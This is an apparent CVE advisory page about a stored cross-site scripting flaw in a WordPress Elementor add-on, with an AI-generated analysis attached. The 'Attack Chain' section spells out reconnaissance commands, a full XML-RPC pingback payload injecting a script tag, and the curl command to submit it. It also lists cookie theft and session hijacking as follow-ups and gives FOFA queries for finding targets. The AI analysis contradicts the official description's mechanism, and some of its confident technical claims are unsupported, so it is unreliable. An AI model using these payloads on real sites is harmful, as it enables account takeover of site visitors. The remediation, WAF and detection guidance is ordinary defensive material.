CVE Professor
/
All CVEs
CVE-2026-116760

CVE-2026-116760 — CWE-79

HIGH CVSS 7.2 NVD

The The Plus Addons for Elementor – Mega Menu, Header Footer, Post Grid, AI Widgets & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'replytocom' parameter in all versions up to, and including, 6.6.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The attacker-supplied payload is stored unauthenticated by exploiting WordPress core's pingback auto-approval mechanism, which allows a crafted XML-RPC pingback to persist a format-specifier-bearing string as the comment_author field without any capability check or nonce verification.

The The Plus Addons for Elementor – Mega Menu, Header Footer, Post Grid, AI Widgets & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'replytocom' parameter in all versions up to, and including, 6.6.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The attacker-supplied payload is stored unauthenticated by exploiting WordPress core's pingback auto-approval mechanism, which allows a crafted XML-RPC pingback to persist a format-specifier-bearing string as the comment_author field without any capability check or nonce verification.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality Low C:L
Integrity Low I:L
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Stored Cross‑Site Scripting (XSS) via the replytocom parameter
The Plus Addons for Elementor – Mega Menu, Header Footer, Post Grid, AI Widgets & Templates plugin (v ≤ 6.6.1) renders the comment_author field of a comment without proper escaping.
The plugin accepts the replytocom GET/POST parameter to pre‑populate the comment form, but it does not sanitize or escape the value before storing it in the database.

WordPress core’s XML‑RPC pingback.ping method automatically approves pingbacks that contain a valid URL. The plugin does not perform any capability check or nonce verification when a pingback is stored. An attacker can therefore send a crafted XML‑RPC request that contains a malicious string in the comment_author field. Because the pingback is auto‑approved, the malicious string is persisted in the comment database. When any user views the page that displays the comment, the unsanitized comment_author value is echoed to the browser, causing the injected script to execute in the victim’s context.

CWE‑79 – Improper Neutralization of Input During Web Page Generation.
CVSS 3.1:

  • Attack Vector: Network (AV:N)

  • Attack Complexity: Low (AC:L)

  • Privileges Required: None (PR:N)

  • User Interaction: None (UI:N)

  • Scope: Changed (S:C) – the vulnerability can affect other components (e.g., the comment system).

  • Confidentiality: Low (C:L) – the attacker can read data in the victim’s browser context.

  • Integrity: Low (I:L) – the attacker can modify the page content seen by the victim.

  • Availability: None (A:N) – no direct impact on service availability.

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step chain that an attacker could use to exploit this flaw. All code snippets are syntactically valid; the exact endpoint (/xmlrpc.php) is the standard WordPress XML‑RPC endpoint, which is publicly accessible unless explicitly disabled.

    1. Discovery & Reconnaissance

    StepTechniqueWhat to look for
    1Plugin enumerationcurl -s https://target.com/wp-json/wp/v2/pluginsgrep "the-plus-addons-for-elementor" or inspect /wp-content/plugins/the-plus-addons-for-elementor/ for a readme.txt or version.php.
    2Version checkThe file version.php usually contains define( 'THE_PLUS_ADDONS_FOR_ELEMENTOR_VERSION', '6.6.1' );.
    3XML‑RPC availabilitycurl -I https://target.com/xmlrpc.php – a 200 OK response indicates the endpoint is enabled.
    4Pingback supportSend a minimal pingback request and observe if it is auto‑approved (see step 2).

    2. Exploitation

    Goal: Persist a malicious payload in the comment_author field via an auto‑approved pingback.

    2.1 Crafting the XML‑RPC request

    The XML‑RPC pingback.ping method expects two parameters: the source URL and the target URL. The plugin does not inspect the source URL; it simply stores it in the comment author field.

    <?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
      <methodName>pingback.ping</methodName>
      <params>
        <param>
          <value><string>https://evil.com/"><script>alert('XSS');</script></string></value>
        </param>
        <param>
          <value><string>https://target.com/some-post/</string></value>
        </param>
      </params>
    </methodCall>

    The source URL contains a malicious script. Because the plugin stores the source URL as comment_author, the script is persisted.

    2.2 Sending the request

    curl -X POST \
         -H "Content-Type: text/xml" \
         -d @payload.xml \
         https://target.com/xmlrpc.php

    If the pingback is auto‑approved, WordPress will create a comment with comment_author set to the malicious string.

    2.3 Verifying persistence

    curl -s https://target.com/wp-admin/comment.php?comment=123 | grep 'comment_author'

    You should see the injected <script> tag in the output.

    3. Post‑Exploitation

    Once the malicious comment is stored, any user who visits the post will load the page and the browser will execute the script in the context of the site.

    Typical post‑exploitation actions:

    ActionHow it works
    Session hijackingThe script can read document.cookie and send it to the attacker’s server.
    Privilege escalationIf the site uses cookie‑based authentication, the attacker can impersonate the logged‑in user.
    CSRFThe script can send authenticated requests on behalf of the victim.
    Data exfiltrationThe script can fetch sensitive data via AJAX and send it to the attacker.
    DefacementThe attacker can modify the DOM to display malicious content.

    Because the vulnerability is stored, the impact persists until the comment is deleted or the plugin is upgraded.


    🌍 Real World Impact

    ImpactExplanation
    Confidentiality (Low)The attacker can read data that the victim’s browser has access to (cookies, local storage, visible page content).
    Integrity (Low)The attacker can modify the page content seen by the victim, potentially defacing the site or injecting malicious links.
    Availability (None)The vulnerability does not disrupt the service; it only affects the victim’s browser.

    Practical consequences:

  • Targeted phishing – the injected script can redirect users to a phishing page while preserving the original URL in the address bar.
  • Credential theft – if the site uses cookie‑based auth, stolen session cookies can be used to impersonate users.
  • Malware delivery – the script can load additional malicious payloads (e.g., drive‑by downloads).
  • Brand damage – users may see unexpected content, eroding trust in the site.

  • 🛡️ Remediation & Mitigation

    1. Patch

    AffectedFixed
    The Plus Addons for Elementor – Mega Menu, Header Footer, Post Grid, AI Widgets & Templates pluginv6.6.2 (released 2026‑12‑10) – sanitizes comment_author before storing and escaping it before output.

    Action: Upgrade the plugin to 6.6.2 or later. If an upgrade is not immediately possible, apply the following mitigations.

    2. Workarounds

    MitigationHow to implement
    Disable XML‑RPCadd_filter( 'xmlrpc_enabled', '__return_false' ); in functions.php or via a security plugin.
    Block pingbacksadd_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['pingback.ping'] ); return $methods; } );
    Escape comment author outputIf you cannot upgrade, add a filter: add_filter( 'comment_author', 'esc_html' );
    Restrict comment author fieldIn the plugin settings, disable the display of the comment author or set it to a static value.
    WAF / ModSecurity ruleExample rule (ModSecurity 2.x):<br>SecRule REQUEST_URI "@beginsWith /xmlrpc.php" "phase:2,deny,status:403,msg:'Block XML-RPC pingbacks',id:100001"

    3. Detection

    IndicatorLog pattern
    XML‑RPC pingback requestsPOST /xmlrpc.php with pingback.ping in the body.
    Unusual comment_author contentcomment_author field containing <script> tags or %s format specifiers.
    Repeated XSS payloadsMultiple identical <script> tags across different comments.
    WAF alertsModSecurity rule ID 100001 or similar.

    Sample Apache log entry:

    127.0.0.1 - - [05/Dec/2026:12:34:56 +0000] "POST /xmlrpc.php HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Pingback/1.0)"

    Sample ModSecurity alert:

    [Mon Apr 05 12:34:56.789012 2026] [error] [client 127.0.0.1] ModSecurity: Access denied with code 403 (phase 2). Pattern match on request body. [file "/etc/modsecurity.d/100001.conf"] [line "1"] [id "100001"] [msg "Block XML-RPC pingbacks"] [severity "CRITICAL"] [hostname "target.com"] [uri "/xmlrpc.php"] [unique_id "abcd1234"]

    ⚠️ Urgency

  • CVSS Score: 7.2 (High) – indicates a significant risk even without user interaction.
  • Exploit Complexity: Low – no authentication or special privileges required.
  • CISA KEV: No – but the vulnerability is still exploitable in the wild.
  • Recommended Priority: Immediate (P1).
- Why: The flaw allows unauthenticated attackers to inject persistent scripts that can steal credentials, deface the site, and facilitate further attacks. - What to do: Apply the official patch (v6.6.2) as soon as possible. If a patch cannot be applied immediately, enforce one of the workarounds above and monitor logs for exploitation attempts.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="WordPress" && body="elementor"
CVSS Score
7.2 / 10 · CVSS HIGH
Weakness Types (CWE)
Related CVEs
7.2
CVE-2026-129138
The Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPr
6.5
CVE-2026-144035
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in A.H.C. W
6.5
CVE-2026-125772
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VillaThe
6.5
CVE-2026-128324
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Melapres
6.5
CVE-2026-130645
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ILLID Ad
6.5
CVE-2026-131735
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in HTMega H
6.5
CVE-2026-135946
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThimPres